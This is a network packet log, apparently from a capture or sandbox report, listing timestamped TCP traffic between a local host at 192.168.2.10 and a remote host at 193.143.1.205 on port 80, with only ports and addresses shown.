Jan 11, 2025 01:01:13.135046959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135067940 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135081053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135088921 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135093927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135107040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135111094 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135138988 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135452032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135464907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135476112 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135490894 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135493040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135504961 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135518074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135528088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135529041 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135551929 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.135569096 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.136141062 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136152983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136169910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136179924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136190891 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136193037 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.136203051 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136215925 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136223078 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.136226892 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136240005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.136245012 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.136264086 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137002945 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137015104 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137033939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137043953 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137052059 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137057066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137069941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137087107 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137089014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137100935 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137111902 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137111902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137126923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137881994 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137893915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137906075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137912035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137926102 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137943029 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137954950 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137965918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137981892 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137984991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.137998104 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.137999058 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138011932 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138047934 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.138777018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138787985 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138799906 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138825893 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.138845921 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.138873100 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138885021 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138895035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138906002 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138916016 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.138919115 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.138928890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139828920 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139839888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139851093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139863014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139862061 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.139862061 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.139873981 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139878035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.139887094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139898062 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139908075 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.139908075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139923096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.139929056 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.139947891 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.140012980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.140714884 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140727043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140738010 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140748024 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140758991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140764952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140770912 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.140777111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140789986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140800953 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.140805960 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.140826941 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.140841007 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.141422987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141474962 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141485929 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141499043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141514063 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.141526937 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.141547918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141560078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141571045 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141582012 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141594887 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.141609907 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.141640902 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.142364025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.142375946 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.142386913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.142396927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.142409086 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.142442942 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.163161039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.168113947 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168299913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168301105 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.168312073 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168324947 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168335915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168346882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168359995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168365002 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.168371916 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168384075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.168394089 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.168411016 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.168431997 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.175296068 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.181339025 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188329935 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188358068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188370943 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188383102 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188394070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188410997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188421965 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188436985 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188441038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188462973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188473940 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188477039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188492060 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188497066 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188505888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188515902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188525915 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188529968 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188541889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188551903 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188564062 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188565969 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188581944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188597918 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188699961 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188711882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188730955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188741922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188749075 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188765049 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.188791990 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188805103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.188833952 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.193300009 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.221827984 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221857071 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221868038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221879959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221890926 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221904039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221915007 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221925974 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.221956968 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.221993923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222039938 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222052097 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222064018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222074032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222084999 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222086906 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222090960 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222099066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222105026 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222115040 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222156048 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222266912 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222279072 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222290039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222300053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222311020 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222311974 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222322941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222335100 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222335100 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222346067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222356081 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222361088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222373009 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222383022 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222390890 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222393990 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222408056 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222424030 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222445011 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222517967 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222676039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222687960 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222698927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222709894 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222719908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222723007 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222732067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222743988 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222754955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222757101 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222767115 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222778082 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222789049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222791910 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222831011 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222831011 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222841024 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222851992 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222862959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222875118 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222886086 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222891092 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222898960 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222909927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222927094 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222932100 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222943068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222949028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222956896 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222969055 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222980022 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.222985029 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.222991943 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.223005056 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.223016977 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.223031044 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.223052025 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.223699093 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228214979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228239059 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228250980 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228261948 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228272915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228282928 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228283882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228296995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228297949 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228315115 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228326082 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228332996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228348970 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228349924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228364944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228368998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228379965 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228390932 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228401899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228408098 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228415966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228426933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228431940 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228439093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228451967 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228461027 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228463888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228477001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228482962 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228504896 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228524923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228543043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228557110 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228568077 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228569984 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228579044 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228590012 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228596926 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228601933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.228621006 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.228652000 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.236526012 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.248308897 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.254976034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.254992962 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255012989 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255024910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255075932 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255109072 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255145073 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255156994 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255167961 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255177975 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255187035 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255191088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255201101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255212069 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255223036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255228996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255240917 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255248070 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255255938 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255265951 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255278111 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255278111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255290031 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.255297899 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.255323887 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.260096073 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.265965939 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275089025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275151968 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275180101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275197983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275216103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275233030 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275233984 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275233984 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275250912 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275269032 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275283098 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275361061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275378942 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275396109 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275413036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275429010 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275430918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275449038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275460005 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.275466919 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.275501966 CET	49738	80	192.168.2.10	193.143.1.205
